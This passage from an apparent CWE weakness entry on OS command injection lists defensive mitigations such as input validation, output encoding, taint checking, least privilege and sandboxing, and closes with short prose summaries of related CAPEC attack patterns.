- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.